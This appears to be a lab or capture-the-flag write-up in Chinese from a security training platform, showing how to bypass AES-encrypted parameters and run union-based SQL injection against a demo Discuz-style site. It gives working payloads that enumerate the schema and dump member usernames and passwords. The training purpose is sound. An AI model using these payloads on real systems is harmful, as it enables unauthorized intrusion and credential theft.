@corn
2022-05-31T15:49:18.000000Z
字数 1679
阅读 388
网络安全
此WEB业务环境对参数进行了AES加密,为了防止参数产生SQL注入,也是防止SQL注入产生的一种方法,但是这种方式就安全了么?
1、掌握信息泄露的方式;
2、了解AES加解密;
3、了解PHP的基本语法;
4、掌握手工SQL注入;
5、了解MySQL数据库的结构;
通过SQL注入方式,获取WEB业务系统的账号密码进行登录。
先将注入字符串末尾添加_mozhe字符,然后AES加密
因为AES加密默认已进行了一次base64加密,所以aes加密后再进行一次base64加密即可
- 构造payload: 1 and 1=2 union select 1,2,3,4_mozhe
- AES加密:0hMY7i4yFMb48GTM7O6GEhC/aK/c5wZlGbKBlWq6dPiKpflFaOD6AYj0DW05TpSj
- base64加密:MGhNWTdpNHlGTWI0OEdUTTdPNkdFaEMvYUsvYzV3WmxHYktCbFdxNmRQaUtwZmxGYU9ENkFZajBEVzA1VHBTag==
1 and 1=2 union select 1,database(),version(),4_mozhe
得出数据库mozhe_Discuz_StormGroup
1 and 1=2 union select 1,TABLE_NAME,3,4 from information_schema.TABLES where TABLE_SCHEMA='mozhe_Discuz_StormGroup' limit 0,1_mozhe
得出第一个表:StormGroup_member
一般name,password,status字段在第二个字段以后
1 and 1=2 union select 1,COLUMN_NAME,COLUMN_TYPE,4 from information_schema.COLUMNS where TABLE_SCHEMA='mozhe_Discuz_StormGroup' and TABLE_NAME='StormGroup_member' limit 1,1_mozhe
得到第二个字段为name
第三个字段为password
第四个字段为status
1 and 1=2 union select 1,CONCAT(name,'-',password,'-',status),3,4 from mozhe_Discuz_StormGroup.StormGroup_member limit 0,1_mozhe
得到第一个用户名,密码,状态
1 and 1=2 union select 1,CONCAT(name,'-',password,'-',status),3,4 from mozhe_Discuz_StormGroup.StormGroup_member limit 1,1_mozhe
得到第二个用户名,密码,状态
或者
1 and 1=2 UNION SELECT 1,2,group_concat(name,password),4 from StormGroup_member _mozhe
显示所有用户名密码